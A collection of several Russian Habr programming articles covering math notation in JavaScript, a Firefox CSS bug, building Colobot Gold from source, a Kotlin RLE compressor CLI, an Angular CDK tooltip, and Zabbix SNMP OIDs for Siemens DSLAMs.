Представляю вашему вниманию адаптированный и дополненный перевод [этой замечательной статьи](https://runjs.app/blog/mathematical-notation-for-javascript-developers-explained).
В данной статье я хочу рассказать вам о некоторых основных математических концепциях и их обозначениях, а также показать примеры реализации этих концепций на `JavaScript`.
Символы точки и креста
----------------------
Символы точки и креста являются очень распространенными в математике, но их использование зависит от контекста.
### Умножение скаляров
Оба символа могут представлять простое умножение скаляров. Следующие выражения эквиваленты:
В `JS` для умножения используется астериск (`*`):
```
const result = 9 * 8;
```
Знак умножения в выражении часто опускается:
Если переменные `k` и `j` являются скалярами, код будет выглядеть так:
```
const result = 5 * k * j;
```
### Умножение векторов
Для умножения [векторов](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) часто применяется символ открытой точки (`∘`). Этот символ представляет [произведение Адамара](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%90%D0%B4%D0%B0%D0%BC%D0%B0%D1%80%D0%B0):
Это может быть реализовано следующим образом:
```
function multiply(a, b) {
return [a[0] * b[0], a[1] * b[1]];
}
function multiplyScalar(a, scalar) {
return [a[0] * scalar, a[1] * scalar];
}
const s = 5;
const k = [1, 2];
const j = [2, 3];
const v = multiply(k, j);
const result = multiplyScalar(v, s);
// [ 10, 30 ]
```
### Скалярное произведение
Символ точки может обозначать [скалярное произведение](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BB%D1%8F%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5) двух векторов:
Код будет выглядеть так:
```
function dot(a, b) {
return a[0] * b[0] + a[1] * b[1] + a[2] * b[2];
}
const k = [0, 1, 0];
const j = [1, 0, 0];
const result = dot(k, j);
// 0
```
`0` означает, что векторы являются перпендикулярными.
### Векторное произведение
Символ креста может обозначать [векторное произведение](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5) двух векторов:
Код будет выглядеть так:
```
function cross(a, b) {
const ax = a[0],
ay = a[1],
az = a[2],
bx = b[0],
by = b[1],
bz = b[2];
const rx = ay * bz - az * by;
const ry = az * bx - ax * bz;
const rz = ax * by - ay * bx;
return [rx, ry, rz];
}
const k = [0, 1, 0];
const j = [1, 0, 0];
const result = cross(k, j);
// [ 0, 0, -1 ]
```
Сигма
-----
Символ сигмы (`Σ`) используется для [суммирования](https://ru.wikipedia.org/wiki/%D0%A1%D1%83%D0%BC%D0%BC%D0%B0_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)):
Здесь `i=1` означает, что сложение начинается с `1` и заканчивается числом над сигмой, т.е. `100`. Это верхняя и нижняя границы, соответственно. `i` справа от `Σ` говорит о том, что именно суммируется. Код будет выглядеть следующим образом:
```
let sum = 0;
for (let i = 1; i <= 100; i++) {
sum += i;
}
// 5050
```
Чуть более сложный пример:
Код:
```
let sum = 0;
for (let i = 1; i <= 100; i++) {
sum += 2 * i + 1;
}
// 10200
```
Сигмы могут быть вложенными. При этом, выражение оценивается справа налево (сначала вычисляется крайняя справа сигма, затем вторая справа и т.д.), если для изменения порядка оценивания не используются круглые скобки:
Код:
```
let sum = 0;
for (let i = 1; i <= 2; i++) {
for (let j = 4; j <= 6; j++) {
sum += 3 * i * j;
}
}
// 135
```
Заглавная П
-----------
Заглавная П или "Большая П" похожа на сигму, только вместо суммирования для вычисления результата последовательности значений используется умножение:
Код:
```
let product = 1;
for (let i = 1; i <= 7; i++) {
product *= i;
}
// 5040
```
Брусья
------
Символ брусьев (`| |`) также может обозначать разные вещи в зависимости от контекста. Три основных случая использования: абсолютная величина, Евклидова норма и определитель. Все они описывают длину объекта.
### Абсолютная величина
Это означает [абсолютное величину или модуль](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D0%BE%D0%BB%D1%8E%D1%82%D0%BD%D0%B0%D1%8F_%D0%B2%D0%B5%D0%BB%D0%B8%D1%87%D0%B8%D0%BD%D0%B0) числа `x`. В `JS` это будет выглядеть так:
```
const x = -4;
const result = Math.abs(x);
// 4
```
### Евклидова норма
[Евклидова норма или просто норма](https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%BC%D0%B0_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) касается векторов. Это "величина" или "длина" вектора.
Пример использования массива `[x, y, z]` для представления трехмерного вектора:
```
function length(vector) {
const x = vector[0];
const y = vector[1];
const z = vector[2];
return Math.sqrt(x * x + y * y + z * z);
}
const result = length([0, 6, -8]);
// 10
```
### Определитель
Пример вычисления [определителя или детерминанта](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B8%D1%82%D0%B5%D0%BB%D1%8C) матрицы `2x2`, представленной одномерным (плоским) массивом:
```
function determinant(a) {
return a[0] * a[3] - a[2] * a[1];
}
const result = determinant([1, 0, 0, 1]);
// 1
```
Циркумфлекс
-----------
Символ [циркумфлекса](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D1%80%D0%BA%D1%83%D0%BC%D1%84%D0%BB%D0%B5%D0%BA%D1%81#%D0%92_%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B5_%D0%B8_%D1%84%D0%B8%D0%B7%D0%B8%D0%BA%D0%B5) (`^`), который также называют "крышечкой" или "домиком" ("hat"), часто применяется в геометрии для обозначения [единичного вектора](https://ru.wikipedia.org/wiki/%D0%95%D0%B4%D0%B8%D0%BD%D0%B8%D1%87%D0%BD%D1%8B%D0%B9_%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80). Пример единичного вектора `a`:
В [прямоугольной системе координат или Декартовом пространстве](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D1%8F%D0%BC%D0%BE%D1%83%D0%B3%D0%BE%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%BA%D0%BE%D0%BE%D1%80%D0%B4%D0%B8%D0%BD%D0%B0%D1%82) единичный вектор, обычно, имеет длину, равную `1`. Это означает, что каждая часть вектора будет находиться в диапазоне от `-1.0` до `1.0`. Пример преобразования ("нормализации") трехмерного вектора в единичный:
```
function normalize(vector) {
const x = vector[0];
const y = vector[1];
const z = vector[2];
const squaredLength = x * x + y * y + z * z;
if (squaredLength > 0) {
const length = Math.sqrt(squaredLength);
return [x / length, y / length, z / length];
}
return vector;
}
const result = normalize([0, 8, -6]);
// [ 0, 0.8, -0.6 ]
```
Элемент
-------
В теории множеств символы `∈` и `∋` часто используются для описания принадлежности элемента какому-либо множеству. Например:
Имеем множество чисел `A { 3, 9, 14 }` и утверждаем, что `3` является элементом этого множества.
Простая реализация:
```
const A1 = [3, 9, 14];
const result1 = A1.includes(3);
// true
const A2 = new Set([3, 9, 14]);
const result2 = A2.has(14);
// true
```
Символ `∋` — это тоже самое, только меняется порядок (это называется зеркальным отображением):
Для обозначения того, что значение не является элементом множества используются символы `∉` и `∌`.
Для тех, кому интересно, вот полная [таблица основных математических символов](https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0_%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D1%81%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D0%BE%D0%B2).
Функции
-------
[Функции](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) являются ключевой частью математики. Они легко преобразуются в код.
Функция — это описание того, что следует сделать с входным значением для получения результата. Пример функции:
Названием данной функции может быть, например, `ƒ` или `A(x)`:
В коде функцию можно (и даже нужно) именовать более осмысленно:
```
const square = (x) => Math.pow(x, 2);
```
Функция может принимать несколько параметров. В математике параметры функции называются аргументами. Количество аргументов определяет "арность" (arity) функции (для уменьшения арности функции применяется техника под названием "каррирование" / currying; как правило, данная техника используется для создания частично-применяемых / partial функций):
Код:
```
const length = (x, y) => Math.sqrt(square(x) + square(y));
```
### Кусочно-заданная функция
Функции могут состоять из трех основных частей: аргументы, отношение и результат (такие функции называются [кусочно-заданными](https://ru.wikipedia.org/wiki/%D0%9A%D1%83%D1%81%D0%BE%D1%87%D0%BD%D0%BE-%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F)). Отношение определяет зависимость между аргументами и результатом. В некоторых функциях отношение определяется аргументами. Следующая функция `ƒ` делает выбор между двумя "подфункциями" на основе аргумента:
В коде для этого можно прибегнуть к помощи `if / else`:
```
function f(x) {
if (x >= 1) {
return (square(x) - x) / x;
}
return 0;
}
```
### Основные функции
Наиболее распространенные математические функции представлены в `JS` встроенными функциями типа [parseInt](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt) или [parseFloat](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseFloat) и методами объекта [Math](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Math).
Пример [функции знака или функции sgn](https://ru.wikipedia.org/wiki/Sgn) в кусочно-заданной нотации:
```
const sgn = (x) => Math.sign(x);
// полифил
function sgn(x) {
x = +x
if (x === 0 || isNaN(x)) {
return x;
}
return x > 0 ? 1 : -1;
}
```
### Функции округления
Специальные скобки `⌊ ⌋` и `⌈ ⌉` представляют функции округления в меньшую и большую сторону, соответственно:
Код:
```
Math.floor(x);
Math.ceil(x);
```
Смешанные скобки `⌊ ⌉`, как правило, представляют функцию округления до ближайшего целого числа:
Код:
```
Math.round(x);
```
Послесловие
-----------
Мы рассмотрели лишь верхушку айсберга. Для тех, кто хочет погрузиться в тему применения математики в коде глубже, советую взглянуть на [этот репозиторий](https://github.com/Jam3/math-as-code).
Пожалуй, это все, чем я хотел поделиться в данной статье. Надеюсь, вы, как и я, нашли для себя что-то интересное и не зря потратили время.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/vds-promo-10-rub?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-10-rub) | https://habr.com/ru/post/673568/ | null | ru | null |
# Баг с position:fixed и backface-visibility в Firefox
В процессе верстки очередного проекта наткнулся на странный баг в Firefox свежих версий, которые поддерживают свойство backface-visibility. Ранее описание этой проблемы не встречал, поэтому решил поделиться. Полезно будет всем, кто прочел [этот пост об антиалиасинге под Windows](http://habrahabr.ru/post/166291/) и начал использовать эти советы.
##### Суть проблемы
Итак, если для улучшения сглаживания веб-шрифтов вы используете рекомендации из вышеупомянутого поста, тогда ваш CSS имеет следующие строки:
```
body {
-webkit-font-smoothing: subpixel-antialiased !important;
-webkit-backface-visibility: hidden;
-moz-backface-visibility: hidden;
-ms-backface-visibility: hidden;
}
```
Теперь представьте, что вам (или вашему дизайнеру) помимо хорошего рендеринга шрифтов вдруг захотелось добавить в проект какую-нибудь плавающую панель (в нашем примере — иконки соц.сетей), вполне логично использующую `position: fixed`. (<http://jsfiddle.net/RYCnH/184/>)
По каким-то причинам эта самая панель в Firefox «отказывается плавать» после добавления свойств сглаживания шрифтов и позиционируется так, будто position у неё не fixed, а absolute: <http://jsfiddle.net/RYCnH/185/>.
#### Решение
Всё дело в свойстве `-moz-backface-visibility: hidden`. Изменив его на `visible` у контейнера нашей плавающей панели, получим желаемый эффект: <http://jsfiddle.net/RYCnH/186/>. | https://habr.com/ru/post/171813/ | null | ru | null |
# Сборка Colobot Gold
Всё большую популярность набирает компьютерная игра для программистов Colobot Gold. О ней не [раз](https://habr.com/ru/company/geekbrains/blog/276091/) [писали](https://habr.com/ru/post/214287/) на хабре, но материал со временем устаревает. Происходит активное развитие программы. И у многих пользователей возникает желание попробовать новейшие возможности Colobot Gold. Так, один мой знакомый прочитал про новый тип роботов, которого ещё нет в официальной master версии и попросил меня написать эту инструкцию по сборке исполяемого файла из исходников Colobot Gold.
Сборка возможна на различные [платформы](https://github.com/colobot/colobot/blob/master/INSTALL.md), но проще всего реализуется на дистрибутивах Linux, Например, на Ubuntu 20.
В разработке Colobot участия я никогда не принимал. Однако меня не страшит идея скачать исходный код, разобрать его, скомпилировать и запустить. Цель этой статьи помочь и вам преодолеть собственный страх проделать то же самое.
Пару вводных о процессе сборки, то есть о процессе получения исполяемого файла. Исходный код программы Colobot ссылкается на другие исходные коды, совершенно других проектов. Для того, чтобы собрать Colobot нам нужно подключить в систему соответствующие сторонние пакеты. Откроем консоль и пропишем
0)
```
sudo apt-get install build-essential cmake libsdl2-dev libsdl2-image-dev libsdl2-ttf-dev libsndfile1-dev libvorbis-dev libogg-dev libpng-dev libglew-dev libopenal-dev libboost-dev libboost-system-dev libboost-filesystem-dev libboost-regex-dev libphysfs-dev gettext git po4a vorbis-tools
```
1) Любители Visual Studio привыкли, что есть файл проекта, и при его открытии IDE подгружает все необходимые файлы. Но исторически значение имеет именно каталог с файлами. Интересно, что эту традицию сейчас поддерживает Eclipse: для открытия проекта вы должны сообщить путь к каталогу. Условимся дальнейшие манипуляции проводить в каталоге Загрузки. Для этого в консоли необходимо в этот каталог перейти:
```
cd Загрузки
```
Затем создадим базовый каталог для наших манипуляций, пусть ColobotBld. (Команда mkdir создаёт диалог с заданным именем). А также каталог, который впоследствии будет содержать непосредственно исполняемые файлы, пусть exe.
```
mkdir ColobotBld
cd ColobotBld
mkdir exe
```
2) Воспользуемся модным нынче средством доставки (версий) исходного кода и запросим последнюю (dev) версию.
```
git clone -b dev https://github.com/colobot/colobot.git
```
3) Видим, что в базовом каталоге ColobotBld появилась папка colobot. Перейдём в неё
```
cd colobot
```
4) Скачаем все подмодули
```
git submodule update --init
```
5) Создадим так называемый каталог сборки, пусть build. Таким образом у нас есть базовый каталог ColobotBld, в котором находятся каталоги colobot и exe. colobot, помимо исходников, теперь будет содержать папку build для сборки, то есть создания промежуточных файлов во время компиляции.
```
mkdir build
```
Соответственно компилировать нужно, находясь в папке build, так что перейдём в неё
6)
```
cd build
```
7) Далее укажем системе сборки откуда что брать: исходники из каталога colobot, а исполняемый файл класть в каталог exe. Я использую полные пути для избежания путаницы, оставлю здесь без изменений как пример, разумеется на вашей системе полные пути другие.
```
cmake /home/andrei/Загрузки/ColobotBld/colobot -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=/home/andrei/Загрузки/ColobotBld/exe
```
8) Далее сообщим утилите make где лежат исходные коды
```
make /home/andrei/Загрузки/ColobotBld/colobot
```
9) Запустим сборку
```
make
```
10) Так как на шаге 7) мы указали куда складывать исполняемый файл, то следующий код это и сделает. Желающие могут [оформить](https://habr.com/ru/post/130868/) в пакет
```
make install
```
Теперь заходим в папку exe/games и запускаем файл colobot.
11) Весёлое упражнение для тех, кто считает себя уже освоившимся в консоли Linux: перейдите в папку exe/games в консоли и запустите (из консоли) файл colobot!
Итак, мы успешно собрали из исходников игру для программистов Colobot Gold. Сдаётся мне, что эта задача — посильный урок новичкам, кто начинает свой путь в мире автоматизации, написания скриптов. | https://habr.com/ru/post/527228/ | null | ru | null |
# Консольная утилита на Kotlin/Java с помощью библиотеки args4j
Привет, Habr! Я учусь на программиста в Питерском Политехе. Одно из моих заданий в курсовой работе было написание консольной утилиты. Решил поделиться своим небольшим опытом.
Для начала представлю вам саму формулировку задания, которое мне необходимо было выполнить:
*Реализовать сжатие **RLE** (run-length encoding). Продумать алгоритм сжатия и формат файла, при котором сжатие «неудачных» данных не приводит к большому увеличению размера файла.
**Command Line**:* pack-rle [-z|-u] [-out outputname.txt] inputname.txt
*Упаковывает -z или распаковывает -u указанный в аргументе командной строки текстовый файл. Выходной файл указывается как -out outputname.txt, по умолчанию имя формируется из входного файла с добавлением расширения.
Кроме самой программы, следует написать автоматические тесты к ней.*
Сам алгоритм:
> Кодирование длин серий (англ. run-length encoding, RLE) или кодирование повторов — алгоритм сжатия данных, заменяющий повторяющиеся символы (серии) на один символ и число его повторов. Серией называется последовательность, состоящая из нескольких одинаковых символов. При кодировании (упаковке, сжатии) строка одинаковых символов, составляющих серию, заменяется строкой, содержащей сам повторяющийся символ и количество его повторов.
>
>
Строка: *WWWWWWWWWBBBWWWWWWWWWWWWWWWWWWWWWWWBWWWW*
Превращается в строку: *9W3B24W1B4W*
Однако я чуть улучшил алгоритм, убрав добавление 1 перед одиночным символом, чтобы избежать ситуации, когда сжатая строка длиннее исходной. («TBTB» -> ~~«1T1B1T1B»~~ «TBTB»)
#### Итак, приступим
Для начала я решил написать основную логику программы. Начнем с упаковщика.
*Файл PackRLE.kt*
```
//словарь для цифр, так как они у нас используются, как служебные символы
private val dictionary = mutableListOf('⌂', 'À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'È','É')
fun encode(string: String): String {
if (string == "") return ""
//создаём StringBuilder
val result = StringBuilder()
//счётчик каждого отдельного символа
var count = 0
//предыдущий символ
var prev = string[0]
//перебираем символы
for (char in string) {
if (char != prev) {
//как только встретили другой символ, выполняем этот код
//если символов в строке больше одного
//добавляем счётчик.
if (count > 1) result.append(count)
//отдельная обработка цифр, так как они у нас используются как служебные
if (prev.isDigit()) result.append(dictionary.elementAt(prev - '0')) else result.append(prev)
count = 0
prev = char
}
count++
}
//повтор кода для обработки последнего символа
if (count > 1) result.append(count)
if (prev.isDigit()) result.append(dictionary.elementAt(prev - '0')) else result.append(prev)
return result.toString()
}
```
Распаковщик:
```
fun decode(str: String): String {
val result = StringBuilder()
var i = 0
while (i in str.indices) {
//подстрока содержащая длину последовательности
val times = str.substring(i).takeWhile { it.isDigit() }
//times.count() - даёт понять сколько значное число определяет длину
val count = times.count()
//прибавляем это значение к текущему индексу, чтобы получить индекс символа
//и ищем его в dictionary, чтобы определить цифру ли мы закодировали или другой символ
val index = dictionary.indexOf(str[i + count])
//если это цифра (index != -1), то вычисляем цифру
val char = if (index != -1) '0' + index else str[i + count]
//записываем символ в строку
//times.toIntOrNull() вернёт null, если в times записано не число, либо строка пустая
//?: 1 вместо null даст нам 1
repeat(times.toIntOrNull() ?: 1) { result.append(char) }
i += 1 + count
}
return result.toString()
}
```
Теперь напишем main() с функцией, отвечающей за взаимодействие с файлами:
```
fun main(args: Array) {
Parser.main(args)
}
fun packRLE(pack: Boolean, inputFile: String, outputFile: String?) {
//разбиваем файл на строки
val inputStrings = File(inputFile).readLines()
//открываем выходной файл для записи
val outputStream = File(outputFile ?: inputFile).bufferedWriter()
outputStream.use {
for (string in inputStrings) {
//перебираем строки и отдаём каждую кодировать/декодировать
val newString = if (pack) encode(string) else decode(string)
//записываем строку в файл
it.write(newString)
it.newLine()
}
}
//выводим на консоль сообщение
println("Pack-rle: "+ if (pack) "pack" else {"unpack"}+" successful")
}
```
Теперь подробнее про парсер
```
Parser.main(args)
```
Я использовал готовую библиотеку args4j с некоторыми изменениями под свои задачи.
*Файл Parser.java*
```
public class Parser {
//опция распаковка, по умолчанию false, не может быть вызвана одновременно с -z
@Option(name = "-u", usage = "unpacking file", forbids = {"-z"})
private boolean unpack = false;
//опция упаковка, по умолчанию false, не может быть вызвана одновременно с -u
@Option(name = "-z", usage = "packing file", forbids = {"-u"})
private boolean pack = false;
//опция выходной файл
@Option(name = "-out", usage = "output to this file (default: inputname.txt)", metaVar = "OUTPUT")
private String out;
//остальные аргументы
@Argument
private List arguments = new ArrayList();
public static void main(String[] args) {
new Parser().parseArgs(args);
}
public void parseArgs(String[] args) {
CmdLineParser parser = new CmdLineParser(this);
try {
//пытаемся пропарсить
parser.parseArgument(args);
//если аргументы в строке некорректные
//выводим соответствующее сообщение об ошибке
if (arguments.isEmpty() || (!pack && !unpack) || (!arguments.get(0).equals("pack-rle") || arguments.size() != 2)) {
System.err.println("Error entering arguments (for correct input, see the example)");
System.err.println("pack-rle [options...] arguments...");
parser.printUsage(System.err);
System.err.println("\nExample: pack-rle [-u|-z] [-out outputname.txt] inputname.txt");
//кидаем исключение для того, чтобы мы могли сделать тесты
throw new IllegalArgumentException("");
}
} catch (CmdLineException e) {
//обработка исключения, предусмотренного библиотекой
System.err.println(e.getMessage());
System.err.println("pack-rle [options...] arguments...");
parser.printUsage(System.err);
System.err.println("\nExample: pack-rle [-u|-z] [-out outputname.txt] inputname.txt");
//аналогично
throw new IllegalArgumentException("");
}
//передаём имя входного файла
String input = arguments.get(1);
//передаём нашей основной функции парсированные агрументы
PackRLEKt.packRLE(pack, input, out);
}
}
```
На этом в принципе всё. На тестах особо останавливаться не буду. Сделаны с помощью библиотеки junit. Единственное, что возможно стоит некоторого внимания, так это функция *assertFileContent* в файле *PackRLETest.kt*:
```
private fun assertFileContent(expectedFile: String, actualFile: String): Boolean {
val expected = File(expectedFile).readLines()
val actual = File(actualFile).readLines()
for (i in actual.indices) {
if (expected[i] != actual[i]) return false
}
return expected.size == actual.size
}
```
Я не считаю себя супер крутым кодером, поэтому с радостью прочту все ваши комментарии по поводу улучшения и оптимизации кода.
Готовый проект **[тут.](https://github.com/vitekkor/pack-rle)**
#### Источники
1. [Wikipedia](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D0%B8%D0%BD_%D1%81%D0%B5%D1%80%D0%B8%D0%B9)
2. [Args4j](https://github.com/kohsuke/args4j) | https://habr.com/ru/post/496290/ | null | ru | null |
# Построение компонентов с выпадающими блоками с помощью Angular и Material CDK
Каждое приложение использует компоненты с выпадающими блоками. Такие панели используются в выпадающем списке, Autocomplete, Tooltip и т.д. В Material CDK есть инструмент Overlay для создания такого функционала.
#### Зачем это нужно? Z-index и вперед!
С точки зрения простого html и css, мы можем использовать Z-index. Например, для dropdownmenu есть [следующий рецепт](https://www.w3schools.com/howto/howto_css_dropdown.asp). Но [как писал Александр Инкин в своей статье](https://habr.com/ru/company/tinkoff/blog/539302/), мы получим войну миров z-index. У Taiga UI есть свой способ решить эту проблему. Рассмотрим альтернативный инструмент от команды Material - CDK Overlay.
#### Кто применяет
Может показаться, что Material CDK обязывает использовать нас библиотеку компонентов Angular Material, но это не так. CDK и его базовые стили можно подключить отдельно. Благодаря этому команда создателей CDK дала возможность использовать их наработки в своих проектах. Более того, популярные и крупные проекты тоже активно используют этот CDK.
Библиотеки компонентов, которые используют Material CDK:
* Material
* Ant Design (ng-zorro)
#### Какие компоненты можно сделать на базе CDK overlay:
* Tooltip
* Dialog
* Select
* Autocomplete
* DropDawnMenu
* TreeSelect
* Calendar
Почему бы не попробовать использовать его в своей работе, ведь он облегчает решение задач. Ниже мы рассмотрим примеры, как его использовать, и создадим компонент.
#### Начало работы, подключим CDK
Установить пакет
```
npm i @angular/cdk
```
Можно работать без основных материал компонентов, для этого нужно подключить стиль CDK
По ходу создания компонентов будем описывать Api CDK Overlay. Итак, приступим к созданию Tooltip!
-------------------------------------------------------------------------------------------------
Требования к Tooltip
--------------------
Перед началом реализации подумаем, как мы его хотим использовать и из чего он будет состоять. Для этого зададим к нему небольшие требования.
* Не использует Z-index!
* Может позиционироваться как над, так и под элементом, к которому применяется подсказка и зависит от пространства сверху/снизу. Если нет места сверху на экране, он должен отображаться снизу.
* Работает в 2-х режимах. Первый скрывает подсказку, если исчезает фокус с элемента (так работает Material). Второй не исчезает (так работает ng-zorro), чтобы можно было скопировать текст или совершить какие-либо действия.
* Может отображать простой текст или шаблон.
* Должен иметь легкий API для использования.
Архитектура Tooltip
-------------------
* Директива - используется в компоненте, к которому применяется Tooltip
* Компонент - это отображение самого Tooltip.
**Принцип работы**
1. Директива добавляет функциональность к компоненту. При событии Mouseenter будет создаваться компонент. В работе будут использованы следующие API Angular:
*ComponentFactoryResolver* и ViewContainerRef - с их помощью будет создаваться компонент TooltipComponent.
*ElementRef* - для получения ссылки на host элемент, она потребуется для OverlayCdk.
Renderer2 - с его помощью него можно подписаться на события (Mouseenter)
2. После создания инстанса компонента ему устанавливаются параметры:
*title -* простой текст;
view - ссылка на шаблон;
*origin -* ссылка на host компонент.
3. Теперь самое интересное, работа с СDK Overlay:
*cdkConnectedOverlay* - директива для декларативного создания всплывающих элементов;
cdkConnectedOverlayOrigin - сюда передается наш host, элемент относительно которого будет создаваться всплывающая область;
*cdkConnectedOverlayPositions -* список возможного позиционирования всплывающей области. В ней можно настроить всплывающую область сверху, снизу, слева, справа и задать дополнительный класс css. В примере настройка для всплытия снизу и сверху.
**Код директивы**
```
@Directive({
selector: '[fo-tooltip]',
exportAs: 'foTooltip'
})
export class TooltipDirective implements OnInit, OnDestroy, AfterViewInit {
@Input()
content: string;
@Input()
view: TemplateRef;
component: TooltipComponent;
componentRef: ComponentRef;
componentFactory: ComponentFactory<
TooltipComponent
> = this.resolver.resolveComponentFactory(TooltipComponent);
protected readonly disposables: Array<() => void> = [];
constructor(
private elementRef: ElementRef,
private hostView: ViewContainerRef,
private renderer: Renderer2,
private resolver: ComponentFactoryResolver
) {}
ngOnInit(): void {}
ngAfterViewInit(): void {
this.registerTriggers();
}
createComponent(): void {
this.componentRef = this.hostView.createComponent(this.componentFactory);
this.component = this.componentRef.instance as TooltipComponent;
this.component.setTitle(this.content);
this.component.setView(this.view);
this.component.setOverlayOrigin({ elementRef: this.elementRef });
this.component.onMouseleave.subscribe(x => {
this.destroyTooltipRef();
});
}
registerTriggers(): void {
const el = this.elementRef.nativeElement;
const listnerMouseenter = this.renderer.listen(el, 'mouseenter', () => {
this.createComponent();
});
this.disposables.push(listnerMouseenter);
const listnerMouseleave = this.renderer.listen(el, 'mouseleave', () => {
setTimeout(x => {
if (!this.component.isActive) {
this.destroyTooltipRef();
}
}, 50);
});
this.disposables.push(listnerMouseleave);
}
destroyTooltipRef() {
if (this.componentRef) {
this.componentRef.destroy();
this.componentRef = null;
}
}
ngOnDestroy(): void {
this.disposables.forEach(dispose => dispose());
}
}
```
**Код Tooltip**
```
@Component({
selector: 'uikit-tooltip',
exportAs: 'uikitTooltip',
changeDetection: ChangeDetectionStrategy.OnPush,
encapsulation: ViewEncapsulation.None,
template: `
{{ title }}
`,
styleUrls: ['./tooltip.component.scss']
})
export class TooltipComponent implements OnInit, AfterViewInit {
title: string;
view: TemplateRef;
isActive = false;
@ViewChild('overlay', { static: false }) overlay!: CdkConnectedOverlay;
@ViewChild('tooltip', { static: false }) tooltip!: ElementRef;
@Output() mouseleave = new EventEmitter();
origin!: CdkOverlayOrigin;
positions = [
new ConnectionPositionPair(
{ originX: 'center', originY: 'top' },
{ overlayX: 'center', overlayY: 'bottom' },
0,
0,
'tooltip-body-top'
),
new ConnectionPositionPair(
{ originX: 'center', originY: 'bottom' },
{ overlayX: 'center', overlayY: 'top' },
0,
0,
'tooltip-body-bottom'
)
];
visible = false;
constructor(public cdr: ChangeDetectorRef) {}
overlayRef: any;
ngOnInit(): void {}
ngAfterViewInit() {
fromEvent(this.tooltip.nativeElement, 'mouseenter').subscribe(
(event: any) => {
this.isActive = true;
this.cdr.markForCheck();
}
);
fromEvent(this.tooltip.nativeElement, 'mouseleave').subscribe(
(event: any) => {
this.isActive = false;
this.cdr.markForCheck();
this.mouseleave.emit();
}
);
}
setOverlayOrigin(origin: CdkOverlayOrigin): void {
this.origin = origin;
this.show();
}
hide(): void {
this.visible = false;
this.cdr.markForCheck();
}
show(): void {
this.visible = true;
}
setTitle(title: string): void {
this.title = title;
}
setView(view): void {
this.view = view;
}
positionChange($event) {
}
}
```
Результат работы
----------------
Angular Tooltip CDK#### Заключение
Мы изучили Material CDK Overlay. Сделали Tooltip и познакомились с некоторыми важными API Angular. Эта статья поможет вам создавать свои прекрасные компоненты на базе CDK. А в следующей части мы рассмотрим создание других компонентов на базе CDK.
К примеру нужно относиться как к заготовке и ознакомлением с CDK Overlay. Для того чтобы использовать его в проекте, нужно будет доработать следующие моменты:
* отписаться от событий;
* покрыть тестом;
* прикрутить палитру из ваших переменных темы. | https://habr.com/ru/post/561494/ | null | ru | null |
# Zabbix, сбор данных о установленных картах dslam siemens hix5630
Решил собрать данные о текущих версиях прошивок со своих DSLAM Siemens HIX5630.
OID нашелся snmpwalk'ом достаточно быстро.
**.1.3.6.1.4.1.231.7.1.2.2.1.1.2.1.1.12.xx**
где хх = 13 14 15 16 17 18 19 20 соответственно 1 2 3 4 7 8 9 10 платы IU (модемные или голосовые)
а 21 и 22 платы CXU (процессорные).
По этому oid выдается текущая прошивка на которой работает плата. Вывод show upgrade table дает не текущую загруженую прошивку а ту прошивку которая загрузится при перезагрузке платы.
**1.3.6.1.4.1.231.7.1.2.2.1.1.2.1.1.13.хх** этот oid отдает версию прошивки загруженную в плату, но не запущенную на ней. Для запуска платы на этой прошивке необходимо дать команду **reset card**
Сравнив эти значения можно узнать было ли обновление прошивки и если было, но плата не была перезагружена, то можно выдать рекомендацию сделать перезагрузку платы, чтобы подхватить последнее обновление.
